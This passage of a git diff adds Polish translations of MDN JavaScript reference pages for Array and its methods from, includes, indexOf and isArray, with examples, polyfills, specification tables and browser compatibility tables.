arguments[1] : void undefined; + var T; + if (typeof mapFn !== 'undefined') { + // 5. else + // 5. a If IsCallable(mapfn) is false, throw a TypeError exception. + if (!isCallable(mapFn)) { + throw new TypeError('Array.from: when provided, the second argument must be a function'); + } + + // 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined. + if (arguments.length > 2) { + T = arguments[2]; + } + } + + // 10. Let lenValue be Get(items, "length"). + // 11. Let len be ToLength(lenValue). + var len = toLength(items.length); + + // 13. If IsConstructor(C) is true, then + // 13. a. Let A be the result of calling the [[Construct]] internal method of C with an argument list containing the single item len. + // 14. a. Else, Let A be ArrayCreate(len). + var A = isCallable(C) ? Object(new C(len)) : new Array(len); + + // 16. Let k be 0. + var k = 0; + // 17. Repeat, while k < len… (also steps a - h) + var kValue; + while (k < len) { + kValue = items[k]; + if (mapFn) { + A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k); + } else { + A[k] = kValue; + } + k += 1; + } + // 18. Let putStatus be Put(A, "length", len, true). + A.length = len; + // 20. Return A. + return A; + }; + }()); +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.from', 'Array.from')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Edge</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome("45")}}</td> + <td>{{CompatGeckoDesktop("32")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>9.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile("32")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array")}}</li> + <li>{{jsxref("Array.prototype.map()")}}</li> + <li>{{jsxref("TypedArray.from()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/includes/index.html b/files/pl/web/javascript/referencje/obiekty/array/includes/index.html new file mode 100644 index 0000000000..526e660571 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/includes/index.html @@ -0,0 +1,110 @@ +--- +title: Array.prototype.includes() +slug: Web/JavaScript/Referencje/Obiekty/Array/includes +translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>includes()</strong></code> ustala czy dana tablica posiada szukany element, zwracając <code>true</code> lub <code>false.</code></p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">var<code><var> boolean = array</var>.includes(<var>searchElement</var>[, <var>fromIndex</var>])</code></pre> + +<h3 id="Zwraca">Zwraca</h3> + +<p>{{jsxref("Boolean")}}.</p> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>searchElement</code></dt> + <dd>Szukany element.</dd> + <dt><code>fromIndex</code></dt> + <dd>Opcjonalne. Jest to pozycja w tablicy, od której rozpoczyna się szukanie elementu <code>searchElement</code>. Ujemna wartość przeszukuje tablicę od końca tablicy. Domyślna wartość wynosi 0.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">[1, 2, 3].includes(2); // true +[1, 2, 3].includes(4); // false +[1, 2, 3].includes(3, 3); // false +[1, 2, 3].includes(3, -1); // true +[1, 2, NaN].includes(NaN); // true +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<pre class="brush: js">if (!Array.prototype.includes) { + Array.prototype.includes = function(searchElement /*, fromIndex*/ ) { + 'use strict'; + var O = Object(this); + var len = parseInt(O.length) || 0; + if (len === 0) { + return false; + } + var n = parseInt(arguments[1]) || 0; + var k; + if (n >= 0) { + k = n; + } else { + k = len + n; + if (k < 0) {k = 0;} + } + var currentElement; + while (k < len) { + currentElement = O[k]; + if (searchElement === currentElement || + (searchElement !== searchElement && currentElement !== currentElement)) { // NaN !== NaN + return true; + } + k++; + } + return false; + }; +} +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td> + <td>{{Spec2('ES7')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> + <p> </p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<div> +<div> + + +<p>{{Compat("javascript.builtins.Array.includes")}}</p> +</div> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("TypedArray.prototype.includes()")}}</li> + <li>{{jsxref("String.prototype.includes()")}}</li> + <li>{{jsxref("Array.prototype.indexOf()")}}</li> + <li>{{jsxref("Array.prototype.find()")}}</li> + <li>{{jsxref("Array.prototype.findIndex()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/index.html b/files/pl/web/javascript/referencje/obiekty/array/index.html new file mode 100644 index 0000000000..5cfe52578b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/index.html @@ -0,0 +1,279 @@ +--- +title: Array +slug: Web/JavaScript/Referencje/Obiekty/Array +tags: + - Array + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/Array +--- +<div>{{JSRef("Global_Objects", "Array")}}</div> + +<p><code>Array</code> w języku JavaScript jest globalnym obiektem, który jest używany podczas tworzenia tablic – listo-podobnych obieków wysokiego poziomu.</p> + +<div class="boxed translate-rendered"> +<p><strong>Stwórz tablicę</strong></p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> owoce <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'Jabłko'</span><span class="punctuation token">,</span> <span class="string token">'Banan'</span><span class="punctuation token">]</span><span class="punctuation token">;</span> + +console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>owoce<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// 2</span></code></pre> +</div> + +<p><strong>Dostawanie się do elementu tablicy</strong></p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> pierwszy <span class="operator token">=</span> owoce<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">;</span> +<span class="comment token">// Jablko</span> + +<span class="keyword token">var</span> ostatni <span class="operator token">=</span> owoce<span class="punctuation token">[</span>owoce<span class="punctuation token">.</span>length <span class="operator token">-</span> <span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">;</span> +<span class="comment token">// Banan</span></code></pre> + +<p><strong>Pętla przechodząca przez zawartość tablicy</strong></p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">owoce<span class="punctuation token">.</span><span class="function token">forEach</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>item<span class="punctuation token">,</span> index<span class="punctuation token">,</span> array<span class="punctuation token">)</span> <span class="punctuation token">{</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>item<span class="punctuation token">,</span> index<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// Jablko 0</span> +<span class="comment token">// Banan 1</span></code></pre> + +<p><strong>Dodawanie elementu na końcu tablicy</strong></p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> nowaDługosc <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">push</span><span class="punctuation token">(</span><span class="string token">'Pomarańcz'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// ["Jabłko", "Banan", "Pomarańcz"]</span></code></pre> + +<p><strong>Usuwanie elemetu z końca tablicy</strong></p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> ostatni <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">pop</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// usuwa pomarańczę z końca</span> +<span class="comment token">// ["Jabłko", "Banan"];</span></code></pre> + +<p><strong>Usuwanie elementu z przodu tablicy</strong></p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> pierwszy <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">shift</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// usuwa jabłko z początku</span> +<span class="comment token">// ["Banan"];</span></code></pre> + +<p><strong>Dodawanie elementu z przodu tablicy</strong></p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> nowaDługość <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">unshift</span><span class="punctuation token">(</span><span class="string token">'Truskawki'</span><span class="punctuation token">)</span> <span class="comment token">// dodaje na początku</span> +<span class="comment token">// ["Truskawkę", "Banan"];</span></code></pre> + +<p><strong>Znajdowanie indeksu (numeru porządkowego) elementu t tablicy</strong></p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">owoce<span class="punctuation token">.</span><span class="function token">push</span><span class="punctuation token">(</span><span class="string token">'Mango'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// ["Truskawka", "Banan", "Mango"]</span> + +<span class="keyword token">var</span> pos <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">indexOf</span><span class="punctuation token">(</span><span class="string token">'Banan'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// 1</span></code></pre> + +<p><strong>Usuwanie obiektu przy użyciu indeksu </strong></p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> usunElement <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">splice</span><span class="punctuation token">(</span>pos<span class="punctuation token">,</span> <span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// tak się usuwa element</span> + +<span class="comment token">// ["Truskawka", "Mango"]</span></code></pre> + +<p><strong>Usuwanie elementów przy użyciu pozycji w indeksie</strong></p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> warzywa <span class="operator token">=</span> <span class="punctuation token">["</span><span class="string token">Kapusta"</span><span class="punctuation token">,</span> "<span class="string token">Rzepa</span><span class="punctuation token">",</span> "<span class="string token">Rzodkiew"</span><span class="punctuation token">,</span> "<span class="string token">Marchew"</span><span class="punctuation token">]</span><span class="punctuation token">;</span> +console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(warzywa</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// </span><span class="punctuation token">[</span><span class="string token">"Kapusta"</span><span class="punctuation token">,</span> "<span class="string token">Rzepa"</span><span class="punctuation token">,</span> "<span class="string token">Rzodkiew"</span><span class="punctuation token">,</span> "<span class="string token">Marchew"</span><span class="punctuation token">]</span> + +<span class="keyword token">var</span> pos <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">,</span> n <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span> + +<span class="keyword token">var</span> usunieteElementy <span class="operator token">=</span> warzywa<span class="punctuation token">.</span><span class="function token">splice</span><span class="punctuation token">(</span>pos<span class="punctuation token">,</span> n<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// n oznacza liczbę elementów do usunięcia</span> +<span class="comment token">// zaczynając od elementu na określonej pozycji(pos)</span> + +console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>warzywa<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// ["Kapusta", "Marchew"] (początkowa tablica została zmieniona)</span> + +console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>usunieteElementy<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="comment token">// ["Rzepa", "Rzodkiew"]</span></code> +</pre> + +<p><strong>Kopiowanie tablicy</strong></p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> płytkaKopia <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">slice</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// tak się tworzy kopię</span> +<span class="comment token">// ["Truskawka", "Mango"]</span></code> +</pre> + +<h2 id="Tworzony_przez" name="Tworzony_przez">Składnia:</h2> + +<pre class="syntaxbox"><code>[<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>] +new Array(<var>element0</var>, <var>element1</var>[, ...[, <var>elementN</var>]]) +new Array(długoscTablicy)</code></pre> + +<dl> + <dt><code>elementN </code></dt> + <dd>Lista wartości elementów tablicy. Tablica jest inicjowana z określonymi wartościami jako jej elementami. Długość tablicy (<code>length</code>) odpowiada liczbie jej elementów.</dd> + <dt><code>długośćTablicy</code></dt> + <dd>Początkowa długość tablicy. Aby móc przetwarzać wartości używamy własności długości tablicy <code>length</code>. Jeśli określona wartość nie jest liczbą, zostanie utworzona tablica jednoelementowa, a jej pierwszy element będzie posiadał ową wartość. Maksymalna długość tablicy wynosi 4,294,967,295 elementów.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Tablica jest uporządkowanym zbiorem wartości przyporządkowanych ustalonej pojedynczej zmiennej.</p> + +<p>Poniższy przykład tworzy obiekt <code>Array</code> przy użyciu literału tablicy. Tablica <code>kawa</code> zawiera trzy elementy i ma długość (<code>length</code>) równą 3:</p> + +<pre class="brush: js">kawa = ["mocca", "cappucino", "zbożowa"] +</pre> + +<p>Można utworzyć tzw. zwartą tablicę składającą się z dwóch lub więcej elementów, o początkowym indeksie 0, jeśli poda się początkowe wartości wszystkich elementów. Zwarta tablica to taka, w której każdy element posiada wartość. Poniższy kod tworzy zwartą tablicę o trzech elementach:</p> + +<pre class="brush: js">myArray = new Array("Hello", myVar, 3.14159) +</pre> + +<h3 id="Dost.C4.99p_do_element.C3.B3w_tablicy" name="Dost.C4.99p_do_element.C3.B3w_tablicy">Dostęp do elementów tablicy</h3> + +<p>Do elementów tablicy odwołujemy się po ich liczbie porządkowej (zaczynając od zera). Przykładowo, jeśli mamy zdefiniowaną tablicę:</p> + +<pre class="brush: js">mojaTablica = new Array("Wiatr","Deszcz","Ogień") +</pre> + +<p>Do pierwszego elementu odwołujemy się poprzez <code>mojaTablica[0]</code>, a do drugiego poprzez <code>mojaTablica[1]</code>.</p> + +<h3 id="Podawanie_pojedynczego_parametru" name="Podawanie_pojedynczego_parametru">Podawanie pojedynczego parametru</h3> + +<p>Jeśli konstruktor <code>Array</code> zostanie wywołany z pojedynczym parametrem liczbowym, parametr ten zostanie uznany za początkową długość tablicy. Poniższy kod tworzy tablicę pięciu elementów:</p> + +<pre class="brush: js">rodzajPlatnosci = new Array(5) +</pre> + +<p>Zachowanie konstruktora <code>Array</code> zależy od tego, czy jedyny parametr jest liczbą.</p> + +<ul> + <li>Jeśli jedyny parametr jest liczbą, konstruktor konwertuje tę liczbą do 32-bitowej liczby całkowitej bez znaku i tworzy tablicę o długości (liczbie elementów, <code>length</code>) równej tej liczbie. Tablica początkowo nie zawiera żadnych elementów, mimo że ma niezerową długość.</li> + <li>Jeśli parametr ten nie jest liczbą, tworzona jest tablica o długości 1, a parametr ten staje się jej pierwszym elementem.</li> +</ul> + +<p>Poniższy kod tworzy tablicę o długości 25, a następnie przypisuje wartości pierwszym trzem elementom:</p> + +<pre class="brush: js">rodzajeMuzyki = new Array(25) +rodzajeMuzyki[0] = "R&B" +rodzajeMuzyki[1] = "Blues" +rodzajeMuzyki[2] = "Jazz" +</pre> + +<h3 id="Po.C5.9Brednie_zwi.C4.99kszanie_d.C5.82ugo.C5.9Bci_tablicy" name="Po.C5.9Brednie_zwi.C4.99kszanie_d.C5.82ugo.C5.9Bci_tablicy">Pośrednie zwiększanie długości tablicy</h3> + +<p>Długość tablicy wzrasta samoczynnie, jeśli elementowi o indeksie wyższym niż obecna długość zostanie przypisana wartość. Poniższy kod tworzy tablicę o zerowej długości, a następnie przypisuje do niej 99. element. W wyniku długość tablicy zostaje zmieniona na 100.</p> + +<pre class="brush: js">kolory = new Array(); +kolory[99] = "ciemnoniebieski"; +</pre> + +<h3 id="Tworzenie_tablicy_z_wynik.C3.B3w_wyra.C5.BCenia_regularnego" name="Tworzenie_tablicy_z_wynik.C3.B3w_wyra.C5.BCenia_regularnego">Tworzenie tablicy z wyników wyrażenia regularnego</h3> + +<p>Wynik porównania pomiędzy regularnym wyrażeniem a łańcuchem znaków może utworzyć tablicę. Ta tablica ma własności i elementy, które przekazują informacje dotyczące porównania. Tablica jest wartością zwracaną przez <code>RegExp.exec</code>, <code>String.match</code> i <code>String.replace</code>. Aby zrozumieć te własności spójrz na poniższy przykład odwołując się do poniższej tabeli:</p> + +<pre class="brush: js">//Porównuje łańcuch znaków złożony z jednego 'd' następnie kilku 'b' a następnie jednego 'd' +//Zapamiętuje porównane 'b' i następujące 'd' +//Ignoruje wielkość liter + +mojRe=/d(b+)(d)/i; +mojaTablica = mojRe.exec("cdbBdbsbz"); +</pre> + +<p>Własności i elementy zwracają wartości z poniższej tabeli:</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header">Własność/Element</td> + <td class="header">Opis</td> + <td class="header">Przykład</td> + </tr> + <tr> + <td><code>input</code></td> + <td>Wartość tylko-do-odczytu, opisująca oryginalny łańcuch znaków, do którego porównano wyrażenie regularne.</td> + <td>cdbBdbsbz</td> + </tr> + <tr> + <td><code>index</code></td> + <td>Własność tylko-do-odczytu, będąca indeksem (zaczynając od 0) porównanego znaku w łańcuchu znaków.</td> + <td>1</td> + </tr> + <tr> + <td><code>[0]</code></td> + <td>Element tylko-do-odczytu, zawierający ostatnio porównane znaki.</td> + <td>dbBd</td> + </tr> + <tr> + <td><code>[1], ... [n]</code></td> + <td>Elementy tylko-do-odczytu, zawierające podobne podłańcuchy znaków, zawarte w wyrażeniu regularnym. Liczba możliwych podłańcuchów jest nieskończona.</td> + <td>[1]: bB<br> + [2]: d</td> + </tr> + </tbody> +</table> + +<h2 id="Własności">Własności</h2> + +<dl> + <dd> + <dl> + <dt>{{jsxref("Array.length")}}</dt> + <dd>Odzwierciedla ilość elementów tablicy.</dd> + <dt>{{jsxref("Array.prototype")}}</dt> + <dd>Pozwala na dodawanie własności do wszystkich obiektów.</dd> + </dl> + </dd> +</dl> + +<h2 id="Metody" name="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("Array.from()")}} {{experimental_inline}}</dt> + <dd>Tworzy nową instancję <code>Array</code> z obiektu podobnego do tablicy lub iterowalnego.</dd> + <dt>{{jsxref("Array.isArray()")}}</dt> + <dd>Zwraca true, jeśli zmienna jest tablicą, jeśli nie false.</dd> + <dt>{{jsxref("Array.observe()")}} {{experimental_inline}}</dt> + <dd>Asynchronicznie obserwuje zmiany w tablicach, podobnie jak {{jsxref ("Object.observe ()")}} dla obiektów. Zapewnia strumień zmian w kolejności występowania.</dd> + <dt>{{jsxref("Array.of()")}} {{experimental_inline}}</dt> + <dd>Tworzy nową instancję Array ze zmienną liczbą argumentów, niezależnie od liczby lub rodzaju argumentów.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad_Tworzenie_tablicy" name="Przyk.C5.82ad:_Tworzenie_tablicy">Przykład: Tworzenie tablicy</h3> + +<p>Poniższy kod tworzy tablicę <code>msgArray</code> o długości 0, a następnie przypisuje wartości do <code>msgArray[0]</code> i <code>msgArray[99]</code>, zwiększając długość tablicy do 100.</p> + +<pre class="brush: js">msgArray = new Array() +msgArray[0] = "Witaj," +msgArray[99] = "świecie" +// Poniższy warunek jest spełniony, +// ponieważ zdefiniowano element msgArray[99]. +if (msgArray.length == 100) + myVar="Długość tablicy jest równa 100." +</pre> + +<h3 id="Przyk.C5.82ad_Tworzenie_tablicy_dwuwymiarowej" name="Przyk.C5.82ad:_Tworzenie_tablicy_dwuwymiarowej">Przykład: Tworzenie tablicy dwuwymiarowej</h3> + +<p>Poniższy kod tworzy tablicę dwuwymiarową i przypisuje wyniki do zmiennej <code>myVar</code>.</p> + +<pre class="brush: js">myVar="Test tablicy wielowymiarowej; " +a = new Array(4) +for (i=0; i < 4; i++) { + a[i] = new Array(4) + for (j=0; j < 4; j++) { + a[i][j] = "["+i+","+j+"]" + } +} +for (i=0; i < 4; i++) { + str = "Wiersz "+i+":" + for (j=0; j < 4; j++) { + str += a[i][j] + } + myVar += str +"; " +} +</pre> + +<p>Poniższy łańcuch znaków będzie przypisany do zmiennej <code>myVar</code> (linie zostały przełamane dla zwiększenia czytelności):</p> + +<pre>Test tablicy wielowymiarowej; +Wiersz 0:[0,0][0,1][0,2][0,3]; +Wiersz 1:[1,0][1,1][1,2][1,3]; +Wiersz 2:[2,0][2,1][2,2][2,3]; +Wiersz 3:[3,0][3,1][3,2][3,3]; +</pre> + +<div class="noinclude"></div> diff --git a/files/pl/web/javascript/referencje/obiekty/array/indexof/index.html b/files/pl/web/javascript/referencje/obiekty/array/indexof/index.html new file mode 100644 index 0000000000..db63c3384c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/indexof/index.html @@ -0,0 +1,95 @@ +--- +title: Array.prototype.indexOf() +slug: Web/JavaScript/Referencje/Obiekty/Array/indexOf +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca pierwszy (najmniejszy) indeks elementu w tablicy równego podanej wartości lub -1, gdy nie znaleziono takiego elementu.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><em>array</em>.indexOf(<em>searchElement</em>[,<em> fromIndex</em> = 0]); +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>searchElement</code></dt> + <dd>Element do znalezienia w tablicy.</dd> + <dt><code>fromIndex</code></dt> + <dd>Indeks od którego ma zacząć się wyszukiwanie. Domyślnie 0 - przeszukana zostanie cała tablica. Jeżeli indeks będzie większy lub równy ilości elementów tablica nie zostanie przeszukana - funkcja zwróci -1. Jeżeli podana zostanie liczba ujemna zostanie dodany do niej rozmiar tablicy (np. podanie -5 oznacza przeszukiwanie od 5 elementu od końca). Jeżeli tak obliczony indeks jest mniejszy od zera przeszukana zostanie cała tablica. Uwaga, wyszukiwanie dalej będzie się odbywać w kierunku rosnących indeksów.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>indexOf</code> porównuje <code>searchElement</code> z elementami tablicy używając <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_por%c3%b3wnania#.22U.C5.BCywanie_operator.C3.B3w_por.C3.B3wnania">ścisłego porównania</a> (podobnie jak w przypadku operatora ===).</p> + +<h3 id="Kompatybilno.C5.9B.C4.87" name="Kompatybilno.C5.9B.C4.87">Kompatybilność</h3> + +<p><code>indexOf</code> jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie <code>indexOf</code> w implementacji ECMA-262, które nie wspierają tego natywnie.</p> + +<pre class="brush: js">if (!Array.prototype.indexOf) +{ + Array.prototype.indexOf = function(elt /*, from*/) + { + var len = this.length; + + var from = Number(arguments[1]) || 0; + from = (from < 0) + ? Math.ceil(from) + : Math.floor(from); + if (from < 0) + from += len; + + for (; from < len; from++) + { + if (from in this && + this[from] === elt) + return from; + } + return -1; + }; +} +</pre> + +<p>Należy zwrócić uwagę, że ta implementacja ma na celu całkowitą zgodność z <code>indexOf</code> występującą w Firefoksie i silniku JavaScript SpiderMonkey, włączając w to przypadki w których przesyłany do <code>indexOf</code> indeks nie jest wartością liczbową. Jeśli masz zamiar wykorzystać przytoczone rozwiązanie w rzeczywistych aplikacjach, możesz nie potrzebować całego powyższego kodu (części odpowiedzialnej za obliczenie wartości <code>from</code>).</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_indexOf" name="Przyk.C5.82ad:_Zastosowanie_indexOf">Przykład: Zastosowanie <code>indexOf</code></h3> + +<p>Następujący przykład stosuje <code>indexOf</code> do znalezienia pierwszego wystąpienia elementów.</p> + +<pre class="brush: js">array = [2, 5, 9]; +index = array.indexOf(2); +// index jest 0 +index = array.indexOf(7); +// index jest -1 +</pre> + +<h3 id="Przyk.C5.82ad:_Wyszukiwanie_wszystkich_wyst.C4.85pie.C5.84_w_tablicy" name="Przyk.C5.82ad:_Wyszukiwanie_wszystkich_wyst.C4.85pie.C5.84_w_tablicy">Przykład: Wyszukiwanie wszystkich wystąpień w tablicy</h3> + +<p>Poniższy przykład używa <code>indexOf</code> do znalezienia wszystkich wystąpień elementu w tablicy oraz dodaje ich indeksy do drugiej tablicy używając metody {{jsxref("Array.prototype.push()")}}.</p> + +<pre class="brush: js">indices = []; +idx = array.indexOf(element) +while (idx != -1) { + indices.push(idx); + idx = array.indexOf(element, idx + 1); +} +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li> + <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/isarray/index.html b/files/pl/web/javascript/referencje/obiekty/array/isarray/index.html new file mode 100644 index 0000000000..62083e0853 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/isarray/index.html @@ -0,0 +1,139 @@ +--- +title: Array.isArray() +slug: Web/JavaScript/Referencje/Obiekty/Array/isArray +translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray +--- +<div>{{JSRef("Global_Objects", "Array")}}</div> + +<h2 id="Summary" name="Summary">Podsumowanie</h2> + +<p><strong>Array.isArray()</strong> to metoda, która zwraca <code style="font-style: normal; line-height: 23.3333339691162px;">true</code><span style="line-height: 23.3333339691162px;"> </span> jeśli obiekt jest tablicą, fałsz jeśli nie jest.</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox"><code>Array.isArray(<var>obj</var>)</code></pre> + +<h3 id="Parameters" name="Parameters">Parametry</h3> + +<dl> + <dt><code>obj</code></dt> + <dd>Obiekt do sprawdzenia</dd> +</dl> + +<h2 id="Description" name="Description">Opis</h2> + +<p>Zobacz artykuł <a href="http://web.mit.edu/jwalden/www/isArray.html">“Determining with absolute accuracy whether or not a JavaScript object is an array”</a> , aby poznać więcej szczegółów.</p> + +<h2 id="Examples" name="Examples">Przykłady</h2> + +<pre class="brush: js">// poniższe przykłady zwrócą true +Array.isArray([]); +Array.isArray([1]); +Array.isArray(new Array()); +// Mało znany fakt: Array.prototype sam w sobie jest tablicą: +Array.isArray(Array.prototype); + +// poniższe przykłady zwrócą false +Array.isArray(); +Array.isArray({}); +Array.isArray(null); +Array.isArray(undefined); +Array.isArray(17); +Array.isArray('Array'); +Array.isArray(true); +Array.isArray(false); +Array.isArray({ __proto__: Array.prototype }); +</pre> + +<h2 id="Polyfill" name="Polyfill">Dostępność wsteczna</h2> + +<p>Jeśli metody <span style="font-family: consolas,monaco,andale mono,monospace; line-height: 23.3333339691162px;">Array.isArray() nie jest natywnie dostępna, poniższy kod ją utworzy.</span></p> + +<pre class="brush: js">if (!Array.isArray) { + Array.isArray = function(arg) { + return Object.prototype.toString.call(arg) === '[object Array]'; + }; +} +</pre> + +<h2 id="Specifications" name="Specifications">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Wstępna definicja. Implementacja od JavaScript 1.8.5.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" 